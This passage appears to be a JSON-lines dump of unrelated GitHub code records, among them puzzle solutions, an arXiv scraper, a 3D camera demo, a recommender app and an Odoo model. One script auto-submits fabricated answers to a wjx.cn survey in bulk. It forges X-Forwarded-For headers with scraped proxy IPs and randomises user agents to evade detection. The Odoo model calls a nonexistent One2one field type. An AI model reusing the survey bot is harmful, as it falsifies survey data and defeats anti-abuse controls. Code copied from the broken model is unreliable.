\n #1. 지도 지도가 0 \n if mat[x][y] == 0:\n mat[x][y] = dice[5]\n #2. 지도가 0이 아닌경우\n else:\n dice[5] = mat[x][y]\n mat[x][y] = 0\n \n print(dice[0])\n \n \n \n \n","repo_name":"guymoon/Algorithm-Study","sub_path":"gimoon/boj_14499_주사위굴리기.py","file_name":"boj_14499_주사위굴리기.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23612038861","text":"f = open('A-small-attempt0.in')\r\noutput = open('A-small.out', 'w')\r\n\r\nN = int(f.readline())\r\nfor c in range(1,N+1):\r\n metrics = f.readline()[:-1].split()\r\n metrics = map(int, metrics)\r\n n = metrics[0]\r\n A = metrics[1]\r\n B = metrics[2]\r\n C = metrics[3]\r\n D = metrics[4]\r\n x0 = metrics[5]\r\n y0 = metrics[6]\r\n M = metrics[7]\r\n \r\n trees = []\r\n X = x0\r\n Y = y0\r\n trees.append((X, Y))\r\n for i in range(1,n):\r\n X = (A * X + B) % M\r\n Y = (C * Y + D) % M\r\n trees.append((X, Y))\r\n \r\n output.write('Case #%u: ' % c)\r\n count = 0\r\n \r\n if len(trees) < 3:\r\n pass\r\n else:\r\n for x in range(0,len(trees)):\r\n for y in range(x+1,len(trees)):\r\n for z in range(y+1,len(trees)):\r\n p = trees[x]\r\n q = trees[y]\r\n r = trees[z]\r\n cent_x = (p[0] + q[0] + r[0]) % 3\r\n cent_y = (p[1] + q[1] + r[1]) % 3\r\n if cent_x == 0 and cent_y == 0:\r\n count += 1\r\n \r\n output.write(str(count) + '\\n') \r\n\r\nf.close()\r\noutput.close()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_7/105.py","file_name":"105.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2633675746","text":"import fileinput\nfrom helper import extract_ints\nfrom collections import namedtuple, defaultdict\nfrom dataclasses import dataclass\n\n\nclass Point(namedtuple('Point', 'x y')):\n __slots__ = ()\n\n\ndef calc_manhatten_distance(p1, p2):\n return abs(p1.x - p2.x) + abs(p1.y - p2.y)\n\n@dataclass\nclass Sensor:\n sensor: Point\n beacon: Point\n\n @property\n def manhattan_distance(self):\n return calc_manhatten_distance(self.beacon, self.sensor)\n\n def distance_from(self, point):\n return calc_manhatten_distance(self.sensor, point)\n\n def can_detect(self, point):\n return self.distance_from(point) <= self.manhattan_distance\n\n def covered_spaces(self, goal_y):\n max_x = self.sensor.x + self.manhattan_distance + 1\n min_x = self.sensor.x - self.manhattan_distance\n max_y = self.sensor.y + self.manhattan_distance + 1\n min_y = self.sensor.y - self.manhattan_distance\n\n if not (min_y <= goal_y <= max_y):\n yield from []\n\n for x in range(min_x, max_x):\n # for y in range(min_y, max_y):\n point = Point(x, goal_y)\n if point == self.beacon or point == self.sensor:\n continue\n if self.distance_from(point) <= self.manhattan_distance:\n yield point\n\n def uncovered_spaces(self):\n sx, sy, md = self.sensor.x, self.sensor.y, self.manhattan_distance + 1\n\n\n for x in range(sx-md, sx+md+1):\n ty = sy - (md - abs(sx - x))\n by = sy + (md - abs(sx - x))\n\n assert self.distance_from(Point(x, ty)) - 1 == self.manhattan_distance\n assert self.distance_from(Point(x, by)) - 1 == self.manhattan_distance\n\n yield Point(x, ty)\n yield Point(x, by)\n\n\n\n\ndef parse_line(line):\n sx, sy, bx, by = extract_ints(line)\n\n return Sensor(Point(sx, sy), Point(bx, by))\n\ndef parse_input(data):\n return (parse_line(line) for line in data)\n\n\ndef part1(data, goal_y=2_000_000):\n grid = defaultdict(dict)\n\n sensors = parse_input(data)\n\n for index, sensor in enumerate(sensors, start=1):\n print(f'---- Sensor {index} ----')\n # for point in sensor.covered_spaces(goal_y):\n for point in sensor.covered_spaces2(0, 21):\n grid[point.y][point.x] = 'X'\n\n for y in range(0, 21):\n print(''.join('X' if x in grid[y] else '.' for x in range(0, 21)))\n\n return len(grid[goal_y])\n\n\ndef part2_old(data, min_coord=0, max_coord=4000000):\n grid = defaultdict(dict)\n\n sensors = parse_input(data)\n\n for index, sensor in enumerate(sensors, start=1):\n print(f'---- Sensor {index} ----')\n for point in sensor.covered_spaces2(min_coord, max_coord):\n grid[point.y][point.x] = 'X'\n\n for y in range(0, 21):\n print(''.join('X' if x in grid[y] else '.' for x in range(0, 21)))\n\n for y, row in grid.items():\n if len(row) < max_coord:\n for x in range(min_coord, max_coord + 1):\n if x not in row:\n print(x, y)\n return x * 4_000_000 + y\n\n\ndef part2(data, min_coord=0, max_coord=4000000):\n sensors = list(parse_input(data))\n\n for index, sensor in enumerate(sensors, start=1):\n print(f'---- Sensor {index} ----')\n for space in sensor.uncovered_spaces():\n if not (min_coord <= space.x <= max_coord) or not (min_coord <= space.y <= max_coord):\n continue\n if all(not sensor.can_detect(space) for sensor in sensors):\n print(space)\n return space.x * 4_000_000 + space.y\n\n\ndef main():\n # print(part1(fileinput.input(), 10))\n # print(part1(fileinput.input()))\n # print(part2(fileinput.input(), 0, 20))\n print(part2(fileinput.input()))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"paul-schwendenman/advent-of-code","sub_path":"2022/day15.py","file_name":"day15.py","file_ext":"py","file_size_in_byte":3830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5187427246","text":"'''\n\nTesting arXiv's API and parsing the strings \n\n'''\n\nfrom random import shuffle\n\nimport urllib2\nfrom bs4 import BeautifulSoup \n\n\ndef scrapeNewFeed(): \n '''\n '''\n page = urllib2.urlopen('https://arxiv.org/list/astro-ph/new/') \n soup = BeautifulSoup(page, \"html.parser\")\n\n urls = []\n for dt in soup.find_all('dt'): \n urls.append(''.join(['https://arxiv.org', dt.span.a['href']]))\n \n arxiv_entries = [] \n for i_dd, dd in enumerate(soup.find_all('dd')): \n arxiv_entry = {} \n \n for attr in ['title', 'comments', 'subjects']: \n if attr == 'title': \n attr_name = 'title mathjax'\n else: \n attr_name = attr \n\n for div in dd.find_all('div', \"list-\"+attr_name): \n arxiv_entry[attr] = div.prettify().split('
')[-1].split('')[0]\n \n # authors\n arxiv_entry['authors'] = [] \n for div in dd.find_all('div', \"list-authors\"):\n for auth in div.find_all('a'): \n arxiv_entry['authors'].append(auth.string) \n arxiv_entry['authors_str'] = ', '.join(arxiv_entry['authors'])\n # abstract \n try: \n arxiv_entry['abstract'] = unicode(dd.p.string)\n except AttributeError: \n arxiv_entry['abstract'] = '' \n arxiv_entry['url'] = urls[i_dd]\n\n arxiv_entries.append(arxiv_entry)\n \n assert len(urls) == len(arxiv_entries)\n shuffle(arxiv_entries)\n return arxiv_entries\n\nif __name__=='__main__': \n scrapeNewFeed()\n","repo_name":"changhoonhahn/astrocoffee_flask","sub_path":"arxiv.py","file_name":"arxiv.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35280981733","text":"from flask import current_app\n\nfrom auth_api.models.user_settings import UserSettings as UserSettingsModel\nfrom auth_api.services.org import Org as OrgService\n\n\nclass UserSettings: # pylint: disable=too-few-public-methods\n \"\"\"Service for user settings.\"\"\"\n\n def __init__(self, model):\n \"\"\"Return an UserSettings Service.\"\"\"\n self._model = model\n\n @staticmethod\n def fetch_user_settings(user_id):\n \"\"\"Create a new organization.\"\"\"\n current_app.logger.debug(' ResourceConfig.block_min_games - 1\n\n def sample(self):\n \"\"\"\n Return sampled games path\n \"\"\"\n # sample data\n block_dirs = os.listdir(self.distribute_dir)\n # waiting enough data for training\n data_flag = True\n while data_flag:\n block_dirs = os.listdir(self.distribute_dir)\n if len(block_dirs) < ResourceConfig.train_min_block:\n logging.info('waiting for self_play data')\n time.sleep(60)\n else:\n data_flag = False\n block_dirs = [int(_) for _ in block_dirs]\n block_dirs = sorted(block_dirs, reverse=True)\n block_dirs = [str(_) for _ in block_dirs]\n if not self.is_full(os.path.join(self.distribute_dir, block_dirs[0])):\n block_dirs = block_dirs[1:]\n if len(block_dirs) > ResourceConfig.train_max_block:\n # run the newest model\n block_dirs = block_dirs[:ResourceConfig.train_max_block]\n blocks_num = len(block_dirs)\n games_pre_block = int(self.all_games / blocks_num)\n filelist = []\n for i in range(blocks_num):\n block_dir = os.path.join(self.distribute_dir, block_dirs[i])\n block_files = os.listdir(block_dir)\n selected_files = random.sample(block_files, games_pre_block)\n filelist += [os.path.join(block_dir, i) for i in selected_files]\n return filelist\n","repo_name":"liyang619/JiangJun","sub_path":"server/sampler.py","file_name":"sampler.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"23587188641","text":"import math\r\n\r\nfin = open('B-small-attempt1.in', 'r')\r\nfout = open('B-small-attempt1.out', 'w')\r\n\r\nt = int(fin.readline())\r\nfor i in xrange(1, t + 1):\r\n ac, aj = [int(ssss) for ssss in fin.readline().strip().split(\" \")]\r\n minute = [0] * 1440\r\n sum2 = 0\r\n sum1 = 0\r\n c = []\r\n j = []\r\n for k in range(ac):\r\n x, y = [int(ssss) for ssss in fin.readline().strip().split(\" \")]\r\n c.append((x,y))\r\n for u in range(x, y):\r\n minute[u] = 1\r\n sum1 += y - x\r\n for k in range(aj):\r\n x, y = [int(ssss) for ssss in fin.readline().strip().split(\" \")]\r\n j.append((x, y))\r\n for u in range(x, y):\r\n minute[u] = 2\r\n sum2 += y - x\r\n c = sorted(c, key=lambda x: x[0])\r\n j = sorted(j, key=lambda x: x[0])\r\n\r\n tmp = []\r\n mark = True\r\n if ac > 1:\r\n for ii in range(ac):\r\n s = c[ii][1] % 1440\r\n t = c[(ii + 1) % ac][0]\r\n jj = s\r\n while jj != t:\r\n if minute[jj] != 0:\r\n mark = False\r\n break\r\n jj = (jj + 1) % 1440\r\n if mark:\r\n tmp.append((t + 1440 - s) % 1440)\r\n tmp = sorted(tmp)\r\n for ii in tmp:\r\n if sum1 + ii <= 720:\r\n sum1 += ii\r\n ac -= 1\r\n else:\r\n break\r\n\r\n tmp = []\r\n mark = True\r\n if aj > 1:\r\n for ii in range(aj):\r\n s = j[ii][1] % 1440\r\n t = j[(ii + 1) % aj][0]\r\n jj = s\r\n while jj != t:\r\n if minute[jj] != 0:\r\n mark = False\r\n break\r\n jj = (jj + 1) % 1440\r\n if mark:\r\n tmp.append((t + 1440 - s) % 1440)\r\n tmp = sorted(tmp)\r\n\r\n for ii in tmp:\r\n if sum2 + ii <= 720:\r\n sum2 += ii\r\n aj -= 1\r\n else:\r\n break\r\n\r\n print>>fout, \"Case #{}: {}\".format(i, 2 * max(ac, aj))\r\n\r\nfin.close()\r\nfout.close()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_210/117.py","file_name":"117.py","file_ext":"py","file_size_in_byte":2055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73289573315","text":"from __future__ import division\nimport os,sys\nimport cPickle as pickle\nimport numpy as np\n\nfrom matplotlib import pyplot as pl\n\nimport pycbc.types\n\nfrom pmns_utils import pmns_waveform as pwave\nfrom pmns_utils import pmns_waveform_data as pdata\nfrom pmns_utils import pmns_pca as ppca\n\npl.rcParams.update({'axes.labelsize': 18})\npl.rcParams.update({'xtick.labelsize':18})\npl.rcParams.update({'ytick.labelsize':18})\npl.rcParams.update({'legend.fontsize':18})\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# Construct the full waveform catalogue\n\n# XXX: Hardcoding\nnTsamples=16384\nlow_frequency_cutoff=1000\nfcenter=2710\ndeltaF=1.0\n\neos=\"all\"\nmass=\"135135\"\nviscosity=\"lessvisc\"\n\n\n# XXX: should probably fix this at the module level..\nif eos==\"all\": eos=None\nif mass==\"all\": mass=None\nif viscosity==\"all\": viscosity=None\n\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# Instantiate\n#\n\n#\n# Create the list of dictionaries which comprises our catalogue\n#\nwaveform_data = pdata.WaveData(eos=eos,viscosity=viscosity, mass=mass)\n\n#\n# Create PMNS PCA instance for the full catalogue\n#\npmpca = ppca.pmnsPCA(waveform_data, low_frequency_cutoff=low_frequency_cutoff,\n fcenter=fcenter, nTsamples=nTsamples)\n\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# Plotting\n#\n\nf1, ax1 = pl.subplots()\nax1.semilogy(pmpca.sample_frequencies, pmpca.magnitude.T)\nax1.set_xlim(999, 4096)\nax1.set_xlabel('Frequency [Hz]')\nax1.set_ylabel('|H(f)|')\nax1.set_ylim(1e-5, 1e-1)\nax1.minorticks_on()\n\nf2, ax2 = pl.subplots()\nax2.semilogy(pmpca.sample_frequencies, pmpca.magnitude_align.T, color='0.8')\nax2.semilogy(pmpca.sample_frequencies, pmpca.pca['magnitude_mean'], color='r',\n linewidth=2, linestyle='--', label='mean')\nax2.set_xlim(999, 4096)\nax2.set_xlabel('Frequency [Hz]')\nax2.set_ylabel(r'|H$_{\\mathrm{align}}$(f)|')\nax2.set_ylim(1e-5, 1e-1)\nax2.legend()\nax2.minorticks_on()\n\nf1.tight_layout()\nf2.tight_layout()\npl.show()\n\nf1.savefig('all_spectra.eps')\nf2.savefig('mean_all_spectra.eps')\n\n","repo_name":"astroclark/BayesPMNS","sub_path":"pmnspy/pca_demos/pmns_examplespectra.py","file_name":"pmns_examplespectra.py","file_ext":"py","file_size_in_byte":2093,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"797075557","text":"import networkx as nx\nimport matplotlib.pyplot as plt\nimport random\nimport json\n\nG = nx.fast_gnp_random_graph(128, 0.06)\npos = nx.spring_layout(G, scale=1000)\n\nsites = []\nrivers = []\nmines = set()\n\nid_idx_set = set()\nwhile len(id_idx_set) < len(G):\n id_idx_set.add(random.randint(-2 ** 63, 2 ** 63 - 1))\n\nid_idx = list(id_idx_set)\nrandom.shuffle(id_idx)\n\nfor n in G.nodes():\n node = {}\n node['id'] = id_idx[n]\n node['x'] = pos[n][0]\n node['y'] = pos[n][1]\n sites.append(node)\n\nfor e in G.edges():\n river = {}\n river['source'] = id_idx[e[0]]\n river['target'] = id_idx[e[1]]\n rivers.append(river)\n\nrandom.seed()\nm = random.randint(1, len(sites) / 2)\nwhile len(mines) < m:\n mines.add(random.randint(0, len(sites) - 1))\n\nout = {}\nout['sites'] = sites\nout['rivers'] = rivers\nout['mines'] = [id_idx[m] for m in mines]\n\nrandom.shuffle(out['sites'])\nrandom.shuffle(out['rivers'])\nrandom.shuffle(out['mines'])\n\nwith open(\"map.json\", 'w') as f:\n json.dump(out, f)\n\nplt.figure(figsize=(6,6))\nnx.draw_networkx(G,pos, node_size=10, font_size=0)\nplt.axis(\"off\")\nplt.savefig(\"default.png\")\nplt.show()\n","repo_name":"hasipon/icfpc2017","sub_path":"graphgen/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13936547335","text":"# https://github.com/stevenlovegrove/Pangolin/tree/master/examples/HelloPangolin\n\nimport sys\n\nsys.path.append('../lib')\n\nimport OpenGL.GL as gl\nimport pangolin\n\nimport numpy as np\nimport time\n\n\ndef main():\n\tw, h = 640, 480\n\tpangolin.CreateWindowAndBind('Main', 640, 480)\n\tgl.glEnable(gl.GL_DEPTH_TEST)\n\n\t# Create Interactive View in window\n\tscam = pangolin.OpenGlRenderState(\n\t pangolin.ProjectionMatrix(w, h, 420, 420, w//2, h//2, 0.2, 10000),\n\t pangolin.ModelViewLookAt(0, -10, -8,\n\t\t\t\t\t\t\t 0, 0, 0,\n\t\t\t\t\t\t\t 0, -1, 0))\n\thandler = pangolin.Handler3D(scam)\n\n\t# Create Interactive View in window\n\tdcam = pangolin.CreateDisplay()\n\tdcam.SetBounds(0.0, 1.0, 0.0, 1.0, w/h)\n\tdcam.SetHandler(handler)\n\t# hack to avoid small Pangolin, no idea why it's *2\n\tdcam.Resize(pangolin.Viewport(0,0,w*2,h*2))\n\tdcam.Activate()\n\n\tposes = []\n\t# pose = np.hstack((np.identity(3), np.zeros((3,1))))\n\tpose = np.identity(4)\n\tposes.append(np.linalg.inv(pose))\n\twhile not pangolin.ShouldQuit():\n\t\tgl.glClear(gl.GL_COLOR_BUFFER_BIT | gl.GL_DEPTH_BUFFER_BIT)\n\t\tgl.glClearColor(0.0, 0.0, 0.0, 1.0)\n\t\tdcam.Activate(scam)\n\n\t\tpose[2, 3] = pose[2, 3] - 1\n\t\tposes.append(np.linalg.inv(pose))\n\n\t\tprint(poses[-1])\n\n\t\tgl.glLineWidth(3)\n\t\tgl.glColor3f(0.0, 1.0, 0.0)\n\t\tpangolin.DrawCameras(poses)\n\t\t# pangolin.DrawCamera(pose)\n\t\ttime.sleep(0.2) \n\t\t# pangolin.DrawCameras(np.linalg.inv(poses[-1]))\n\t\t# pangolin.DrawCameras(np.stack(poses, axis=0))\n\t\t# print(np.stack(poses,axis=2).shape)\n\t\tpangolin.FinishFrame()\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"iosmichael/slamulance","sub_path":"visualization/test_camera.py","file_name":"test_camera.py","file_ext":"py","file_size_in_byte":1516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31584639278","text":"class Solution:\n def numIdenticalPairs(self, nums: List[int]) -> int:\n myDict = {}\n pairs = 0\n for num in nums:\n if num not in myDict:\n myDict[num] = 1\n else:\n pairs += myDict[num]\n myDict[num]+=1\n return pairs","repo_name":"mattssll/LeetCodeSolutions","sub_path":"1512-number-of-good-pairs/1512-number-of-good-pairs.py","file_name":"1512-number-of-good-pairs.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3210535353","text":"from surprise import SVD\nimport streamlit as st\nimport src\nimport warnings\n\n\nwarnings.filterwarnings('ignore')\n\n\nst.title('Individual selection of products for the client')\n\n\nRAW_DATA_PATH = \"data/raw/market_sales.csv\"\nCLEANED_DATA_PATH = \"data/interim/data_cleaned.csv\"\nPREPARED_DATA_PATH = \"data/processed/prepared_data.csv\"\n# PREPARED_DATA_PATH_TEST = \"data/processed/test_data.csv\"\nMODEL_PATH = \"models/svd_model.pkl\"\nCROSS_VAL_RESULTS_PATH = \"reports/cross_val_results.txt\"\nPREDICT_DATA_PATH = \"data/external/recommendations.csv\"\n\nSTORE_POSITION = 50 # store position in the list ranked by number of sales\nMIN_NUM_PURCHASES = 10 # the minimum number of purchases to pass into the algorithm\nGRID_SEARCH = False\nALGORITHM: type = SVD\nOPTIMISE_BY = \"rmse\"\nNUM_PREDICT = 10\n\n\nif __name__ == \"__main__\":\n store_position = st.number_input('Store position in the list ranked by number of sales',\n min_value=1,\n value=STORE_POSITION,\n step=1,\n format='%d')\n min_num_purchases = st.number_input('How much purchases user should have?',\n min_value=1,\n value=MIN_NUM_PURCHASES,\n step=1,\n format='%d')\n use_GS = st.checkbox('Do you need to use a GridSearch?', value=GRID_SEARCH)\n algorithm = st.text_input('Type of algorithm') # Should to use st.select\n optimise_by = st.selectbox(\n 'How would you like to optimise algorithm?',\n (OPTIMISE_BY, 'mse'))\n num_predict = st.number_input('How many elements to predict?',\n min_value=1,\n value=NUM_PREDICT,\n step=1,\n format='%d')\n\n st.write(num_predict)\n\n if st.button(\"Get predictions\"):\n src.clean_data(RAW_DATA_PATH, CLEANED_DATA_PATH, store_position, min_num_purchases)\n # src.prepare_dataset(CLEANED_DATA_PATH, PREPARED_DATA_PATH)\n src.train_model(CLEANED_DATA_PATH,\n [MODEL_PATH, CROSS_VAL_RESULTS_PATH],\n grid_search=use_GS,\n alg=ALGORITHM,\n opt_by=optimise_by)\n src.predict_model([CLEANED_DATA_PATH, MODEL_PATH], PREDICT_DATA_PATH, num_predict)\n # with st.spinner('Cleaning data, please wait...'):\n # src.clean_data(RAW_DATA_PATH, CLEANED_DATA_PATH, store_position, min_num_purchases)\n # # st.write('Data collected for the store ranked 50 in terms of sales')\n # # # src.prepare_dataset(CLEANED_DATA_PATH, PREPARED_DATA_PATH)\n # src.train_model(CLEANED_DATA_PATH,\n # [MODEL_PATH, CROSS_VAL_RESULTS_PATH],\n # grid_search=use_GS,\n # alg=ALGORITHM,\n # opt_by=optimise_by)\n # src.predict_model([CLEANED_DATA_PATH, MODEL_PATH], PREDICT_DATA_PATH, num_predict)\n\n","repo_name":"Psyhoved/ML_Ops_Rec_sys","sub_path":"start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":3095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37297446015","text":"import requests\nimport urllib.request\nfrom fake_useragent import UserAgent\nimport re\nimport random\nimport time\nfrom question_information import question_url,question_coockie,submit_url,submit_times,createStr\n\nrequests.packages.urllib3.disable_warnings()\nPostNum = 0\n\n\ndef Get_Headers():\n headers = {\n 'Host': 'www.wjx.cn',\n 'User-Agent': UserAgent().random,\n 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\n 'Referer': question_url,\n 'Cookie': question_coockie,\n 'X-Forwarded-For': Get_IP()\n }\n return headers\n\n\ndef Get_IP():\n headers = {\n 'User-Agent': UserAgent().random\n }\n html = urllib.request.Request(url='https://www.xicidaili.com/nn/', headers=headers)\n html = urllib.request.urlopen(html).read().decode('utf-8')\n reg = r'(.+?)'\n reg = re.compile(reg)\n pools = re.findall(reg, html)[0:499:5]\n Random_IP = random.choice(pools)\n return Random_IP\n\n\ndef Auto_WjX():\n url = submit_url\n data = createStr().encode(\"utf-8\").decode(\"latin1\")\n r = requests.post(url, headers=Get_Headers(), data=data, verify=False)\n result = r.text[0:2]\n return result\n\n\ndef main():\n global PostNum\n for i in range(submit_times):\n result = Auto_WjX()\n if int(result) in [10]:\n print('[ Response : %s ] ===> 提交成功!!!!' % result)\n PostNum += 1\n else:\n print('[ Response : %s ] ===> 提交失败!!!!' % result)\n time.sleep(30) # 设置休眠时间,这里要设置足够长的休眠时间\n print('脚本运行结束,成功提交%s份调查报告' % PostNum) # 总结提交成功的数量,并打印\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"zhoulin845522/Wenjuanxing","sub_path":"question.py","file_name":"question.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75065802115","text":"#!/usr/bin/env python\n\"\"\"\n Created by howie.hu at 2018/5/28.\n\"\"\"\n\nimport re\n\nfrom bs4 import BeautifulSoup\nfrom collections import OrderedDict\nfrom operator import itemgetter\nfrom urllib.parse import urljoin, urlparse\n\nfrom owllook.config import LOGGER\n\n\ndef extract_chapters(chapters_url, html):\n \"\"\"\n 通用解析小说目录\n :param chapter_url: 小说目录页url\n :param res: 当前页面html\n :return: \n \"\"\"\n # 参考https://greasyfork.org/zh-CN/scripts/292-my-novel-reader\n chapters_reg = r'(.*第?\\s*[一二两三四五六七八九十○零百千万亿0-91234567890]{1,6}\\s*[章回卷节折篇幕集].*?)'\n # 这里不能保证获取的章节分得很清楚,但能保证这一串str是章节目录。可以利用bs安心提取a\n chapters_res = re.findall(chapters_reg, str(html), re.I)\n str_chapters_res = '\\n'.join(chapters_res)\n chapters_res_soup = BeautifulSoup(str_chapters_res, 'html5lib')\n all_chapters = []\n for link in chapters_res_soup.find_all('a'):\n each_data = {}\n url = urljoin(chapters_url, link.get('href')) or ''\n name = link.text or ''\n each_data['chapter_url'] = url\n each_data['chapter_name'] = name\n each_data['index'] = int(urlparse(url).path.split('.')[0].split('/')[-1])\n all_chapters.append(each_data)\n chapters_sorted = sorted(all_chapters, reverse=True, key=itemgetter('index'))\n return chapters_sorted\n\n\ndef extract_pre_next_chapter(url, chapter_url, html):\n \"\"\"\n 获取单章节上一页下一页\n :param chapter_url: \n :param html: \n :return: \n \"\"\"\n next_chapter = OrderedDict()\n try:\n # 参考https://greasyfork.org/zh-CN/scripts/292-my-novel-reader\n next_reg = r'(.*[第上前下后][一]?[0-9]{0,6}?[页张个篇章节步].*?)'\n judge_reg = r'[第上前下后][一]?[0-9]{0,6}?[页张个篇章节步]'\n # 这里同样需要利用bs再次解析\n next_res = re.findall(next_reg, html.replace('<<', '').replace('>>', ''), re.I)\n str_next_res = '\\n'.join(next_res)\n next_res_soup = BeautifulSoup(str_next_res, 'html5lib')\n for link in next_res_soup.find_all('a'):\n text = link.text or ''\n text = text.replace(' ', '')\n if novels_list(text):\n is_next = re.search(judge_reg, text)\n # is_ok = is_chapter(text)\n if is_next:\n url = urljoin(chapter_url, link.get('href')) or ''\n regex = re.compile(\"^http://|^https://\")\n if regex.sub('', chapter_url) == regex.sub('', url):\n url = False\n next_chapter[text[:5]] = url\n\n # nextDic = [{v[0]: v[1]} for v in sorted(next_chapter.items(), key=lambda d: d[1])]\n return next_chapter\n except Exception as e:\n LOGGER.exception(e)\n return next_chapter\n\n\ndef novels_list(text):\n rm_list = ['后一个', '天上掉下个']\n for i in rm_list:\n if i in text:\n return False\n else:\n continue\n return True\n","repo_name":"howie6879/owllook","sub_path":"owllook/fetcher/extract_novels.py","file_name":"extract_novels.py","file_ext":"py","file_size_in_byte":3146,"program_lang":"python","lang":"en","doc_type":"code","stars":2518,"dataset":"github-code","pt":"61"} +{"seq_id":"7709065400","text":"#!/usr/bin/python3\n''' This is a moudle '''\n\n\nif __name__ == \"__main__\":\n from urllib import request, parse, error\n from sys import argv\n try:\n with request.urlopen(argv[1]) as response:\n html = response.read()\n print(html.decode(\"utf-8\"))\n except error.URLError as e:\n print(\"Error code: {}\".format(e.code))\n","repo_name":"bullbearan/holbertonschool-higher_level_programming","sub_path":"0x11-python-network_1/3-error_code.py","file_name":"3-error_code.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27565580159","text":"import requests\nimport send\nimport os\n\nnews_category = \"technology\"\nAPI_KEY = os.getenv('NEWS_API_KEY')\nurl = 'https://newsapi.org/v2/top-headlines?' \\\n 'country=in&' \\\n 'pageSize=10&' \\\n 'from=01-01-2023' \\\n f'category={news_category}' \\\n f'&apiKey={API_KEY}'\n\n# sending a get request to API\nresponse = requests.get(url)\n\n# encode response to json format\ncontent = response.json()\n\n# Extract title and description of news to send over mail\nnews_content = \"Subject: Today's News\\n\"\nfor article in content['articles']:\n if article['title'] and article['description'] and article['url'] is not None:\n news_content = news_content + article['title'] + '\\n' + article['description'] + '\\n' + article['url'] + 2*'\\n'\n\n# Send the news to a mail account\nsend.send_email(news_content.encode('utf-8'))\n","repo_name":"Pikku1998/Email_News","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26581874125","text":"##!FAIL: string\n\n#from typing import Tuple\nx : int\nz : int\nz = 5\nx = 3\ni : int = 1 + 3\nj : bool = True\ns : str = \"ok\"\n#x:Tuple[int, int] = (2,3)\nprint(i)\nprint(z)\n","repo_name":"nohtyprm/MrPython","sub_path":"mrpython/aa_pstl/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":163,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"61"} +{"seq_id":"43910504357","text":"#Cada coche ha podido realizar n viajes entre un origen y un destino\n#Viaje(3 puntos)\n#Vehiculo que lo ha realizado, un viaje es realizado por un vehiculo\n#provincia origen -> 1:1 Relación con el modelo provincia\n#provincia destino -> 1:1 Relación con el modelo provincia\n#fecha de realización\n#duración en horas\n#un campo onchange que mediante un booleano indique si la duración ha sido mayor \n#a 2 horas\n#se debe mostrar un aviso si el vehiculo del viaje tiene el seguro caducado\n\n# -*- coding: utf-8 -*-\nfrom odoo import models, fields, api\n\nclass Viaje(models.Model):\n _name = 'examen.viaje'\n _description = 'Clase viaje'\n \n vehiculo_id = fields.Many2one('examen.vehiculo', string='Vehiculo', required=True)\n provincia_origen_id = fields.One2one('examen.provincia', string='Provincia origen', required=True)\n provincia_destino_id = fields.One2one('examen.provincia', string='Provincia destino', required=True)\n fecha_realizacion = fields.Date(string='Fecha de realizacion', required=True)\n duracion = fields.Integer(string='Duracion en horas', required=True)\n seguro_caducado = fields.Boolean(string='Seguro caducado', compute='_compute_seguro_caducado', store=True)\n \n @api.depends('vehiculo_id.seguro_id.fecha_vencimiento')\n def _compute_seguro_caducado(self):\n for record in self:\n if record.vehiculo_id.seguro_id.fecha_vencimiento < fields.Date.today():\n record.seguro_caducado = True\n else:\n record.seguro_caducado = False\n\n @api.onchange('duracion')\n def _onchange_duracion(self):\n if self.duracion > 2:\n return {\n 'warning': {\n 'title': \"Duracion mayor a 2 horas\",\n 'message': \"La duracion del viaje es mayor a 2 horas\",\n },\n }\n","repo_name":"mdesisoy/miSGE","sub_path":"odoo-compose/addons/examen/modelos/viaje.py","file_name":"viaje.py","file_ext":"py","file_size_in_byte":1842,"program_lang":"python","lang":"es","doc_type":"code","dataset":"github-code","pt":"61"} 